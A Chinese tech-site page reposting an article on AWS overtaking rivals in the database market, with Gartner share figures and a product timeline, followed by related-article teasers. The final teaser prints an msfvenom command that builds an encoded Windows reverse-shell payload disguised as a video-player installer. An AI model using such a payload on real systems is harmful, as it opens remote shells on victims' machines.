成为行业风向标,亚马逊云科技近年在数据库排名逐年上升

近10年,全球数据库市场加速变革,云数据库尤其是云原生数据库成为整个数据库市场的关键变量。某种程度上,亚马逊云科技作为全球云原生数据库的领导者,具有行业风向标的价值。

4bb92b32dce04b138cf22d20809f3769.png

 

近期,发生了一件对全球数据库市场具有标志性的事情:依据Gartner的数据,亚马逊云科技作为一个纯云厂商,2022年数据库营收230亿美元,同比增长19.6%。在全球数据库市场份额方面,继2020年超过甲骨文之后,亚马逊云科技于2022年超过微软,夺得全球数据库领导者的桂冠。目前,亚马逊云科技占据2022年全球数据库市场25.3%的份额。从2013年首次出现在Gartner数据库市场份额图以来,亚马逊云科技的排名就在逐年上升,且是头部数据库巨头中上升态势最明显的云厂商。

5128b81014864dc0936f272038566063.png

 

某种意义上,亚马逊云科技的胜利,代表了云原生数据库的胜利。因此,从亚马逊云科技的发展情况来看,云原生数据库替代传统数据库的必然性,以及云原生数据库的未来发展趋势。

 

罗马不是一天建成的

云计算是亚马逊研发投入的“重镇”,每年数百亿美元的研发资源有很大一部分就投入云计算技术产品研发,而云原生数据库又是其中一个重要领域。云原生数据库是整个云计算有机整体的一部分,亚马逊云科技整体的技术优势,也对云数据库的发展大有裨益。可以说,亚马逊云科技在云原生数据库上的领先,是其整体云计算优势的一个“侧写”。正是长期高强度地研发投入,让亚马逊云科技不断取得技术突破。接下来,我们从亚马逊云科技在不同时间节点发布的数据库产品,来分析其在云原生数据库领域的技术创新历程:

8ebd9b7e5d364e41bcedc846c1128af9.png

 

2006年,Amazon S3:这虽然不是一个数据库产品,但S3的发布标志着亚马逊云科技开始进入云存储领域,为后续数据库产品的发展奠定了基础。

2009年,Amazon RDS:这是亚马逊云科技发布的首个云数据库产品,支持多种关系数据库引擎,如MySQL、PostgreSQL等,这标志着亚马逊云科技开始推动数据库服务的云化。

2011年,Amazon ElastiCache:这是一个完全管理的在内存中的数据存储,它优化了具有高吞吐量和低延迟的实时应用程序,在提高数据库性能和响应时间方面具有重要价值。

2012年,Amazon DynamoDB:这是亚马逊云科技发布的首个NoSQL数据库产品,支持键值存储模型,满足大规模、低延迟的数据处理需求,这标志着亚马逊云科技开始探索非关系数据库领域,推动数据库服务的多样化。同年,亚马逊云科技还推出Amazon Redshift,这是亚马逊云科技发布的首个数据仓库产品,提供PB级的数据分析服务,这标志着亚马逊云科技开始进入大数据处理领域,推动数据库服务的扩展性和分析能力。

2014年,Amazon Aurora:这是亚马逊云科技自主研发的关系数据库产品,兼容MySQL和PostgreSQL,但在性能和可用性上进行了优化,这标志着亚马逊云科技开始进行数据库引擎的创新,推动数据库服务的性能和可靠性。

2016年,Amazon Database Migration Service (DMS):DMS的发布意味着亚马逊云科技致力于提供更加全面的数据库迁移解决方案,进一步降低了用户从传统数据库向云原生数据库迁移的难度和复杂性。

2017年,Amazon DynamoDB Global Tables:这是DynamoDB的一种全球化解决方案,它允许在多个地理区域之间自动复制数据,从而提供了快速的本地性能和全球数据的故障转移能力,这是亚马逊云科技在全球分布式数据管理方面的重要创新。

2018年,Amazon Aurora Serverless v1:这是亚马逊云科技发布的首个无服务器数据库产品,根据实时负载自动调整数据库的计算能力,这标志着亚马逊云科技开始推动数据库服务的自动化和智能化。

2019年,Amazon DocumentDB:这是亚马逊云科技发布的兼容MongoDB API的文档数据库服务,体现了亚马逊云科技对开源数据库生态的重视和支持,以及其在提供更多样化的数据处理解决方案方面的持续创新。

2020年,Amazon Timestream:这是亚马逊云科技发布的首个时序数据库产品,专门用于处理时间序列数据,这标志着亚马逊云科技开始针对特定数据类型和应用场景进行数据库产品的创新。

2021年,Babelfish for Aurora,使得用户可以更容易地将现有的SQL Server数据库迁移到Aurora PostgreSQL。

2022年,Amazon Aurora Serverless v2,进一步优化了无服务器数据库的性能和响应速度,这标志着亚马逊云科技在数据库服务的自动化、智能化上做出了更深入的创新。

从上面的时间节点来看,云原生数据库技术创新方面的发展历程,是一个从云化、多样化、大数据处理、性能优化、自动化和智能化、特定数据类型处理、全球化到进一步的自动化和智能化的过程。无论是关系数据库,还是非关系数据库,无论是数据仓库,还是时序数据库,无论是全球化的数据管理,还是无服务器的数据库模型,亚马逊云科技都在其中发挥了引领者和推动者的作用。

需要指出的是,技术本身并不产生价值,技术的价值来源于应用。在这方面,亚马逊自身在使用数据库方面的真实经历,具有典型借鉴价值。早在2019年,亚马逊就将存储在近7500个Oracle数据库中的75 PB内部数据,迁移到Amazon DynamoDB (工作流引擎/客户档案/促销折扣管理)、Amazon Aurora (库存管理服务IMS)、Amazon Relational Database Service(Amazon RDS)、Amazon Redshift (分析型工作负载)、Amazon ElastiCache (缓存服务请求)等多项亚马逊云科技数据库中,涵盖了如复杂采购、目录管理、订单执行、会计系统、视频流工作负载等亚马逊全部的专有系统。并且,迁移过程无需停机。通过数据库迁移,成本降低了60%,间接费用降低了70%,性能却提升了40%。

实际上,不仅亚马逊可以通过应用云原生数据库来大幅提升效率、降低成本,其他企业也同样可以。并且,云原生数据库发展迅速,经过几年的发展,云原生数据库的价值除了降本增效外,还会为企业带来更多额外的业务收益。对于企业而言,可以通过采用先进的云原生数据库,来释放数据的业务价值。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/33194.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

爬虫入门指南(4): 使用Selenium和API爬取动态网页的最佳方法

文章目录 动态网页爬取静态网页与动态网页的区别使用Selenium实现动态网页爬取Selenium 的语法及介绍Selenium简介安装和配置创建WebDriver对象页面交互操作 元素定位 等待机制页面切换和弹窗处理截图和页面信息获取关闭WebDriver对象 使用API获取动态数据未完待续.... 动态网页…

GB51309实施后对于消防应急照明和疏散指示系统在城市隧道应用中的影响

安科瑞 崔丽洁 【摘要】:应急照明和疏散指示系统被广泛运用于城市隧道、楼宇建筑、地下管廊等各个方面。当隧道这类特殊建筑内出现火灾或事故时,可靠的应急照明和疏散指示系统对于人员的安全逃生有着重要的作用。随着GB51309-2018《消防应急照明和疏散指…

java 调用 opencv 识别图片

前言 opencv 的 github 地址 opencv 官网 本文介绍如何使用 java 来调用 opencv 下载opencv opencv下载 页面根据自己电脑操作系统下载最新的安装包,我这里下载的是 4.7.0 版本。 (4.7.0 版本里的 opencv-470.jar 包是使用 jdk11 编译的&#xff0c…

JVM 常量池、即时编译与解析器、逃逸分析

一、常量池 1.1、常量池使用 的数据结构 常量池底层使用HashTable key 是字符串和长度生成的hashValue,然后再hash生成index, 改index就是key;Value是一个HashTableEntry; 1、key hashValue hash string(name, len) i…

66. 加一

LeetCode-66. 加一 1、题目描述2、解题思路3、代码实现4、解题记录 ) 1、题目描述 题目描述: 给定一个由 整数 组成的 非空 数组所表示的非负整数,在该数的基础上加一。 最高位数字存放在数组的首位, 数组中每个元素只存储单个数字。 你可以…

【NLP】用python实现文本转语音处理

一、说明 介绍一款python调用库,离线软件包pyttsx3 API,它能够将文字转化成语音文件。Python 中有多种 API 可用于将文本转换为语音。pyttsx3 是一个非常易于使用的工具,可将输入的文本转换为音频。与其它类似的库不同,它可以离线…

单片机学习12-串口通信

目录 串口通信实验 通信的基本概念 串行通信与并行通信 异步通信与同步通信 单工、半双工与全双工通信 通信速率(比特率) 单片机串口介绍 串口通信简介 串口相关寄存器 串口工作方式 方式 0 方式 1 方式 2 和方式 3 串口的使用方法 硬件设计…

Spring相关API

⭐作者介绍:大二本科网络工程专业在读,持续学习Java,努力输出优质文章 ⭐作者主页:逐梦苍穹 ⭐所属专栏:JavaEE、Spring SpringAPI 1、继承体系2、 getBean() 1、继承体系 上述继承体系中的主要类和接口包括&#xff1…

笔记本安装双系统ubuntu时踩的坑——戴尔

如果你遇到以下的这些问题,不要直接装了,无解!!! 建议看我另一篇教程,把硬盘取出来在另外的电脑上装好系统再放回去,这样嘎嘎快。 移动硬盘中安装Ubuntu 20.04系统——立省99%的问题_放风筝的…

插入排序——希尔排序

希尔排序其实就是一种插入排序,实际上就是通过直接插入排序一步步改进优化而实现的。所以在了解希尔排序之前要明白插入排序的实现原理。 插入排序 其实我觉得插入排序也可以叫做摸牌排序,就是从第二张牌开始处理,将摸到的牌按照合适的顺序插…

解决 An attempt was made to call a method that does not exist. 问题详解

哈喽大家好,我是阿Q。今天在开发代码的过程中,由于手抖,不知道引入了什么包依赖,导致项目启动一直报错,特写本文来记录下解决问题的经过。 文章目录 问题描述报错信息如下报错描述 解决方法总结 有想赚点外块|技术交流…

苹果Vision Pro手势+眼球融合交互的奥秘

毫无疑问,Vision Pro在眼球追踪手势的融合交互体验上,给AR/VR头戴设备带来了新突破,在用户体验上的提升非常明显。 ​那么,为什么Vision Pro上这一功能会被如此值得关注呢?为了弄清楚,我们先来看看主流VR设…

原来,这就是铁路隧道R型变压器的工作真相!

铁路作为我们日常交通的重要出行设备,其安全稳定性极为重要。高速铁路具有行车速度快、行车密度高、负荷分布密集、自动化程度高、要求安全、正点运行的特点。铁路隧道对电力系统的供电可靠性也有非常严格的要求。铁路隧道R型变压器在铁路隧道供电系统中的主要功能是…

Upload靶场通关笔记

文章目录 一、Pass-011.抓包上传2.获取上传路径3.工具验证 二、Pass-02三、Pass-031.使用httpd.conf自定义后缀2.提取上传文件名3.工具测试4.注意点四、Pass-041.上传.htaccess2.上传图片3.工具测试 五、Pass-05六、Pass-061.空格.号绕过2.工具测试 七、Pass-07八、Pass-081.特…

NoSQL之Redis优化(一)

Redis的高可用 一、Redis 持久化RDB 持久化AOF 持久化RDB和AOF的优缺点 二、Redis 性能管理内存碎片如何产生的?解决碎片率大的问题:内存使用率内回收key 在web服务器中,高可用是指服务器可以正常访问的时间,衡量的标准是在多长时…

8.6 socket套接字及TCP的实现框架

socket套接字 目录 socket套接字 体系结构的两种形式 几种常见的网络编程接口 socket套接字 socket常用API介绍 socket套接字 三元组【IP地址,端口,协议】 地址族结构体 套接字类型 TCP通信的实现过程 体系结构的两种形式 网络的体系结构 (N…

TinyViT: 一种高效的蒸馏方法

目录 背景方法大意快速预训练蒸馏(Fast Pretraining Distillation, FPD)如何实现快速三个细节深入理解FPD 模型架构训练trick预训练参数配置(Imagenet21k-pretraining)finetuning 参数配置(Imagenet-1k) 消融实验**Q: 数据是否越多…

window10 sourceTree 更新系统后打不开解决办法

C:\Users\你的用户名\AppData\Local\Atlassian\SourceTree.exe_Url_j5xkjtpcegcqqaaahn4rsx42sj42zy5a\版本号这个目录下 删除文件Composition.cache (在启动即可) 打开sourcetree后成功生成了我们删除的 Composition.cache 文件。

论文浅尝 | SimKGC:基于预训练语言模型的简单对比知识图谱补全

笔记整理:李雅新,天津大学硕士,研究方向为知识图谱补全 链接:https://dl.acm.org/doi/10.1145/3539597.3570483 动机 知识图谱补全 (KGC) 旨在对已知事实进行推理并推断缺失的链接。基于文本的方法从自然语言描述中学习实体表示&a…

使用msfvenom获取windows shell

Windows 1. kali 使用 msfvenom 生成程序文件 使用一个编码器msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.133.66 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音1.exe其中,-a 指…